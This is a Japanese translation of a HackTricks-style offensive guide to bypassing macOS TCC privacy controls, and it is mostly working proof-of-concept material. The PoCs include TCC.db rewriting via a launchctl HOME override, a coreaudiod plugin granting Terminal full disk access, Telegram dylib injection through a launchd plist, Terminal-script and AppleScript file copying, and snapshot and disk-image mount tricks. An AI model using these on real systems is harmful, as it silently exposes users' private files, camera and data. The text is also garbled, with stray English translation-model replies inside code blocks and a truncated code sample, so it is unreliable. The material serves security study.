.. | ||
macos-apple-scripts.md | ||
README.md |
macOS TCC バイパス
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告掲載したい場合やHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsコレクションをチェックする
- 💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
機能別
書き込みバイパス
これはバイパスではありません。これはTCCがどのように機能するかの一例です:書き込みから保護されていません。もしTerminalがユーザーのデスクトップの読み取りアクセスを持っていなくても、デスクトップに対して書き込むことはできます:
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
com.apple.macl
拡張属性は、新しいファイルに追加され、作成者のアプリがそれを読むためのアクセスを許可します。
SSH バイパス
デフォルトでは、SSH 経由のアクセスは「フルディスクアクセス」を持っていました。これを無効にするには、リストに記載されているが無効化されている必要があります(リストから削除しても権限は削除されません):
ここでは、いくつかのマルウェアがこの保護をバイパスする方法の例を見つけることができます:
{% hint style="danger" %} SSHを有効にするためには、現在フルディスクアクセスが必要であることに注意してください。 {% endhint %}
拡張子の処理 - CVE-2022-26767
属性**com.apple.macl
は、特定のアプリケーションがそれを読むための権限を与えるためにファイルに与えられます。この属性は、アプリの上にファイルをドラッグ&ドロップしたとき、またはユーザーがファイルをダブルクリックしてデフォルトのアプリケーション**で開いたときに設定されます。
したがって、ユーザーは悪意のあるアプリを登録してすべての拡張子を処理し、Launch Servicesを呼び出して任意のファイルを開くことができます(そのため、悪意のあるファイルにはそれを読むためのアクセスが許可されます)。
iCloud
権限**com.apple.private.icloud-account-access
を使用すると、com.apple.iCloudHelper
** XPCサービスと通信し、iCloudトークンを提供することができます。
iMovieとGaragebandはこの権限を持っていました。
その権限からiCloudトークンを取得するためのエクスプロイトについての詳細は、トーク:#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regulaをチェックしてください。
kTCCServiceAppleEvents / Automation
kTCCServiceAppleEvents
権限を持つアプリは、他のアプリを制御することができます。これは、他のアプリに付与された権限を悪用することができることを意味します。
Apple Scriptsについての詳細は以下をチェックしてください:
{% content-ref url="macos-apple-scripts.md" %} macos-apple-scripts.md {% endcontent-ref %}
例えば、アプリが**iTerm
に対するAutomation権限を持っている場合**、この例では**Terminal
**がiTermにアクセス権を持っています:
iTermに対して
FDAを持っていないTerminalは、それを持っているiTermを呼び出し、アクションを実行するために使用することができます:
{% code title="iterm.script" %}
tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
Since the provided text does not contain any English content to translate, there is nothing to translate into Japanese. The text appears to be a closing tag for a code block in markdown syntax. If you provide English content from the hacking book, I can then translate it into Japanese for you.
osascript iterm.script
Finder 経由
Finder へのアクセス権を持つアプリであれば、以下のようなスクリプトを使用することができます:
set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)
アプリの振る舞いによるもの
CVE-2020–9934 - TCC
ユーザーランドのtccdデーモンは、HOME
環境変数を使用して、以下のTCCユーザーデータベースにアクセスしていました: $HOME/Library/Application Support/com.apple.TCC/TCC.db
このStack Exchangeの投稿によると、TCCデーモンはlaunchd
を介して現在のユーザーのドメイン内で実行されているため、それに渡されるすべての環境変数を制御することが可能です。
したがって、攻撃者はlaunchctl
内で$HOME
環境変数を制御されたディレクトリを指すように設定し、TCCデーモンを再起動し、その後直接TCCデータベースを変更して、エンドユーザーに通知することなく利用可能なすべてのTCCエンタイトルメントを自分自身に付与することができます。
PoC:
# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents
CVE-2021-30761 - Notes
NotesはTCCで保護された場所にアクセスできましたが、ノートが作成されるとき、これは保護されていない場所に作成されます。したがって、保護されたファイルをノートにコピーするようにNotesに依頼し(つまり保護されていない場所に)、その後ファイルにアクセスすることができました:
CVE-2021-30782 - Translocation
バイナリ/usr/libexec/lsd
とライブラリlibsecurity_translocate
は、nullfsマウントを作成することを許可するcom.apple.private.nullfs_allow
の権限を持ち、**kTCCServiceSystemPolicyAllFiles
**を使用してすべてのファイルにアクセスするcom.apple.private.tcc.allow
の権限を持っていました。
"Library"に検疫属性を追加し、com.apple.security.translocation
XPCサービスを呼び出すと、Libraryが**$TMPDIR/AppTranslocation/d/d/Library
にマップされ、Library内のすべてのドキュメントにアクセス**することができました。
CVE-2023-38571 - Music & TV
Music
には興味深い機能があります:実行中に、~/Music/Music/Media.localized/Automatically Add to Music.localized
にドロップされたファイルをユーザーの"メディアライブラリ"にインポートします。さらに、次のようなことを呼び出します:rename(a, b);
ここでa
とb
は:
a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"
b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"
この**rename(a, b);
の動作はレースコンディションに弱いです。なぜなら、Automatically Add to Music.localized
フォルダに偽のTCC.dbファイルを置き、新しいフォルダ(b)がファイルをコピーするために作成されたときに、それを削除し、~/Library/Application Support/com.apple.TCC
**/にリンクすることが可能だからです。
SQLITE_SQLLOG_DIR - CVE-2023-32422
SQLITE_SQLLOG_DIR="path/folder"
が基本的に意味するのは、開かれたdbがそのパスにコピーされるということです。このCVEでは、この制御が悪用され、FDAを持つプロセスによって開かれるTCCデータベース内で書き込みを行うSQLiteデータベースに悪用されました。そして、SQLITE_SQLLOG_DIR
をファイル名のシンボリックリンクとともに悪用することで、そのデータベースが開かれるときに、ユーザーのTCC.dbが開かれたもので上書きされます。
詳細情報はライトアップで、トークで。
SQLITE_AUTO_TRACE
環境変数**SQLITE_AUTO_TRACE
が設定されている場合、ライブラリlibsqlite3.dylib
はすべてのSQLクエリのログ記録**を開始します。多くのアプリケーションがこのライブラリを使用していたため、それらのSQLiteクエリをすべてログに記録することが可能でした。
いくつかのAppleアプリケーションがこのライブラリを使用してTCCで保護された情報にアクセスしていました。
# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1
MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
この環境変数は Metal
フレームワークによって使用されます。これは様々なプログラムに依存しており、特にFDAを持つ Music
が注目されます。
以下を設定します:MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"
。path
が有効なディレクトリであれば、バグがトリガーされ、fs_usage
を使用してプログラム内で何が起こっているかを確認できます:
path/.dat.nosyncXXXX.XXXXXX
(Xはランダム)と呼ばれるファイルがopen()
されます。- 一つ以上の
write()
がファイルに内容を書き込みます(これはコントロールできません)。 path/.dat.nosyncXXXX.XXXXXX
がpath/name
にrenamed()
されます。
これは一時的なファイル書き込みであり、rename(old, new)
は安全ではありません。
安全でない理由は、古いパスと新しいパスを別々に解決する必要があるためで、これには時間がかかることがあり、Race Conditionに対して脆弱になる可能性があります。詳細については、xnu
関数 renameat_internal()
を確認してください。
{% hint style="danger" %} 基本的に、特権プロセスがあなたがコントロールするフォルダから名前を変更している場合、RCEを獲得して異なるファイルにアクセスさせるか、このCVEのように、特権アプリが作成したファイルを開いてFDを保存することができます。
名前変更があなたがコントロールするフォルダにアクセスする場合、ソースファイルを変更したり、それにFDを持っている間に、目的のファイル(またはフォルダ)をシンボリックリンクに変更することで、いつでも書き込むことができます。 {% endhint %}
これがCVEでの攻撃でした:例えば、ユーザーの TCC.db
を上書きするために、以下の手順を踏むことができます:
/Users/hacker/ourlink
を/Users/hacker/Library/Application Support/com.apple.TCC/
にリンクさせます。- ディレクトリ
/Users/hacker/tmp/
を作成します。 MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db
を設定します。- この環境変数を使用して
Music
を実行し、バグをトリガーします。 /Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX
(Xはランダム)のopen()
をキャッチします。- ここで、このファイルを書き込み用に
open()
し、ファイルディスクリプタを保持します。 /Users/hacker/tmp
と/Users/hacker/ourlink
を ループ内で原子的に切り替えます。- レースのウィンドウは非常に短いため、成功の可能性を最大限に高めるためにこれを行いますが、レースに負けてもデメリットはほとんどありません。
- 少し待ちます。
- 運が良かったかどうかをテストします。
- だめなら、最初からやり直します。
詳細は https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html をご覧ください。
{% hint style="danger" %}
現在、環境変数 MTL_DUMP_PIPELINES_TO_JSON_FILE
を使用しようとするとアプリは起動しません。
{% endhint %}
Apple Remote Desktop
rootとしてこのサービスを有効にすると、ARDエージェントはフルディスクアクセスを持つことになり、ユーザーが新しい TCCユーザーデータベース をコピーするように悪用することができます。
NFSHomeDirectory による
TCCはユーザーのHOMEフォルダ内のデータベースを使用して、ユーザーに固有のリソースへのアクセスを制御します。$HOME/Library/Application Support/com.apple.TCC/TCC.db。
したがって、ユーザーが $HOME 環境変数を 異なるフォルダ に指すようにしてTCCを再起動することができれば、/Library/Application Support/com.apple.TCC/TCC.db に新しいTCCデータベースを作成し、任意のアプリに任意のTCC権限を付与するようにTCCを騙すことができます。
{% hint style="success" %}
Appleはユーザープロファイル内に保存されている設定を NFSHomeDirectory
属性の $HOME
の値 として使用するので、この値を変更する権限を持つアプリケーションを侵害することができれば(kTCCServiceSystemPolicySysAdminFiles
)、このオプションをTCCバイパスとして 武器化 することができます。
{% endhint %}
CVE-2020–9934 - TCC
CVE-2020-27937 - Directory Utility
CVE-2021-30970 - Powerdir
最初のPOC は dsexport と dsimport を使用して、ユーザーの HOME フォルダを変更します。
- 対象アプリの csreq ブロブを取得します。
- 必要なアクセスと csreq ブロブを含む偽の TCC.db ファイルを設置します。
- dsexport を使用してユーザーのディレクトリサービスエントリをエクスポートします。
- ユーザーのホームディレクトリを変更するためにディレクトリサービスエントリを変更します。
- dsimport を使用して変更されたディレクトリサービスエントリをインポートします。
- ユーザーの tccd を停止し、プロセスを再起動します。
二番目のPOCは /usr/libexec/configd
を使用し、com.apple.private.tcc.allow
という値 kTCCServiceSystemPolicySysAdminFiles
を持っていました。
configd
を -t
オプションで実行することが可能で、攻撃者は カスタムバンドルをロードする を指定できました。したがって、このエクスプロイトは、ユーザーのホームディレクトリを変更する dsexport
と dsimport
の方法を configd
コードインジェクション に置き換えます。
詳細は 元のレポート を確認してください。
プロセスインジェクションによる
TCC権限を悪用するためにプロセス内にコードをインジェクトするさまざまな技術があります:
{% content-ref url="../../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}
さらに、TCCをバイパスするために見つかった最も一般的なプロセスインジェクションは プラグイン(ライブラリのロード) 経由です。
プラグインは通常、ライブラリやplistの形で追加コードであり、メインアプリケーションによってロードされ、そのコンテキストで実行されます。したがって、メインアプリケーションがTCC制限ファイルへのアクセスを持っている場合(許可された権限やエンタイトルメントを介して)、カスタムコードもそれを持つことになります。
CVE-2020-27937 - Directory Utility
アプリケーション /System/Library/CoreServices/Applications/Directory Utility.app
はエンタイトルメント kTCCServiceSystemPolicySysAdminFiles
を持ち、.daplug
拡張子のプラグインをロードし、ハード化されたランタイムを持っていませんでした。
このCVEを武器化するために、NFSHomeDirectory
が 変更されます(前述のエンタイトルメントを悪用して)、ユーザーのTCCデータベースを乗っ取り、TCCをバイパスすることができます。
詳細は 元のレポート を確認してください。
CVE-2020-29621 - Coreaudiod
バイナリ /usr/sbin/coreaudiod
はエンタイトルメント com.apple.security.cs.disable-library-validation
と com.apple.private.tcc.manager
を持っていました。最初のものは コードインジェクションを許可し、二番目のものは TCCを管理する アクセスを与えます。
このバイナリは /Library/Audio/Plug-Ins/HAL
フォルダから サードパーティのプラグインをロード することができました。したがって、プラグインをロードして TCC権限を悪用する ことがこのPoCで可能でした:
#import <Foundation/Foundation.h>
#import <Security/Security.h>
extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);
void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");
CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);
TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}
__attribute__((constructor)) static void constructor(int argc, const char **argv) {
add_tcc_entry();
NSLog(@"[+] Exploitation finished...");
exit(0);
詳細については、オリジナルのレポートをご覧ください。
Device Abstraction Layer (DAL) プラグイン
Core Media I/O を介してカメラストリームを開くシステムアプリケーション(kTCCServiceCamera
を持つアプリ)は、プロセス内で /Library/CoreMediaIO/Plug-Ins/DAL
に位置するこれらのプラグインを読み込みます(SIP制限なし)。
共通のコンストラクタを持つライブラリをそこに保存するだけで、コードを注入することができます。
いくつかのAppleアプリケーションがこの脆弱性にさらされていました。
Firefox
Firefoxアプリケーションは com.apple.security.cs.disable-library-validation
と com.apple.security.cs.allow-dyld-environment-variables
の権限を持っていました:
codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>
詳細については、元のレポートを確認してください。
CVE-2020-10006
バイナリ /system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl
は、権限 com.apple.private.tcc.allow
と com.apple.security.get-task-allow
を持っており、プロセス内にコードを注入し、TCCの権限を使用することができました。
CVE-2023-26818 - Telegram
Telegramは、権限 com.apple.security.cs.allow-dyld-environment-variables
と com.apple.security.cs.disable-library-validation
を持っていたため、カメラでの録画などの権限へのアクセスを得るために悪用することが可能でした。ペイロードはライトアップで見つけることができます。
環境変数を使用してライブラリをロードする方法に注意してください。カスタムplistが作成され、このライブラリを注入し、launchctl
を使用して起動しました:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
launchctl load com.telegram.launcher.plist
openコマンドによる呼び出し
サンドボックス内でも**open
**を呼び出すことが可能です。
ターミナルスクリプト
技術者が使用するコンピュータでは、ターミナルに**フルディスクアクセス(FDA)を与えることがよくあります。そして、それを使って.terminal
**スクリプトを呼び出すことができます。
**.terminal
スクリプトは、以下のようなplistファイルで、実行するコマンドはCommandString
**キーに記述されています:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
アプリケーションは、/tmp のような場所にターミナルスクリプトを書き込み、次のようなコマンドで起動することができます:
// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];
マウントによる方法
CVE-2020-9771 - mount_apfs TCCバイパスおよび権限昇格
任意のユーザー(権限のないユーザーも含む)は、タイムマシンのスナップショットを作成してマウントし、そのスナップショットのすべてのファイルにアクセスすることができます。
必要な権限は、使用されるアプリケーション(例えばTerminal
)がフルディスクアクセス(FDA)権限(kTCCServiceSystemPolicyAllfiles
)を持っていることで、これは管理者によって付与される必要があります。
{% code overflow="wrap" %}
# Create snapshot
tmutil localsnapshot
# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local
# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap
# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
{% endcode %}
より詳細な説明は元のレポートで見ることができます。
CVE-2021-1784 & CVE-2021-30808 - TCCファイル上にマウント
TCC DBファイルが保護されていても、新しいTCC.dbファイルをディレクトリ上にマウントすることが可能でした:
{% code overflow="wrap" %}
# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg
# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
Since the provided text does not contain any content to translate, I cannot provide a translation. If you provide the relevant English text that needs to be translated into Japanese, I will be able to assist you.
# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
完全なエクスプロイトはオリジナルのライトアップで確認してください。
asr
ツール /usr/sbin/asr
はディスク全体をコピーして、TCC保護をバイパスしながら別の場所にマウントすることができました。
位置情報サービス
/var/db/locationd/clients.plist
には、位置情報サービスにアクセスを許可されたクライアントを示す第三のTCCデータベースがあります。
/var/db/locationd/
フォルダはDMGマウントから保護されていなかったので、独自のplistをマウントすることが可能でした。
スタートアップアプリによる
{% content-ref url="../../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}
grepによる
複数の場合、ファイルはメールアドレス、電話番号、メッセージなどの機密情報を保護されていない場所に保存します(これはAppleの脆弱性と見なされます)。
合成クリック
これはもう機能しませんが、過去には機能しました:
CoreGraphicsイベントを使用した別の方法:
参考文献
- https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8
- https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/
- macOSのプライバシーメカニズムをバイパスする20以上の方法
- TCCに対するノックアウト勝利 - macOSのプライバシーメカニズムをバイパスする20以上の新しい方法
htARTE (HackTricks AWS Red Team Expert)で AWSハッキングをゼロからヒーローまで学ぶ!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見する、私たちの独占的なNFTsのコレクション
- 💬 Discordグループやテレグラムグループに参加する、またはTwitter 🐦 @carlospolopmでフォローする。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。